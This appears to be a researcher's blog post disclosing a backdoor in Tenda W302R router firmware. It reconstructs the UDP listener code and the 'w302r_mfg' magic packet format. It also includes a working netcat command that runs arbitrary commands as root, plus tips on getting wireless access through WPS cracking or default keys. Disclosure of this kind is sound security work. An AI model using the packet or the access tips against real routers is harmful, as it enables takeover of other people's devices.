Lest anyone think that D-Link is the only vendor who puts backdoors in their products, here’s one that can be exploited with a single UDP packet, courtesy of Tenda.

After extracting the latest firmware for Tenda’s W302R wireless router, I started looking at /bin/httpd, which turned out to be the GoAhead webserver:

But Tenda has made a lot of special modifications themselves. Just before entering the HTTP receive loop, main calls InitMfgTask, which spawns the MfgThread function as a separate thread:

Hmmm…InitMfgTask and MfgThread? Related to manufacturing tasks perhaps? Iiiiiinteresting…

The first thing MfgThread does is create a UDP socket and bind it to port 7329:

The thread then goes into a recvfrom loop, reading up to 128 bytes from the socket. It expects each received UDP packet to be at least 14 bytes in length:

Now for the fun part; the received UDP packet is then parsed by this block of code:

In C, this code reads:

memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;

We can see that the thread is expecting a packet with the following structure:

struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; };

As long as the received packet starts with the string “w302r_mfg”, the code then compares the specified command byte against three ASCII characters (‘1’, ‘x’, and ‘e’):

For simplicity, I’ve converted the remaining disassembly (at least the important bits) to the following C code:

switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;

The following actions correspond to the three accepted command bytes:

‘e’ – Responds with a pre-defined string, basically a ping test

‘1’ – Intended to allow you to run iwpriv commands

‘x’ – Allows you to run any command, as root

If ‘x’ is specified as the command byte, the remainder of the packet after the command byte (called command_arg in the above code) is passed to call_shell, which executes the command via popen:

What’s more, call_shell populates the tx_buf buffer with the output from the command, which, as we can see from the previous C code, is sent back to the client!

Knowing the functionality of MfgThread and its expected packet structure, we can easily exercise this backdoor with netcat:

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin

One teensy-weensy, but ever so crucial little tiny detail is that the backdoor only listens on the LAN, thus it is not exploitable from the WAN. However, it is exploitable over the wireless network, which has WPS enabled by default with no brute force rate limiting. My shiny new ReaverPro box made relatively short work of cracking WPS, providing access to the WLAN and a subsequent root shell on the router (they also ship with a default WPA key, which you might want to try first):

As the magic string suggests, this backdoor was likely first implemented in Tenda’s W302R router, although it also exists in the Tenda W330R, as well as re-branded models, such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic packet string.

UPDATE:

ea did a great job of grepping through various Tenda firmwares to find a lot more routers that are likely affected: http://ea.github.io/blog/2013/10/18/tenda-backdoor/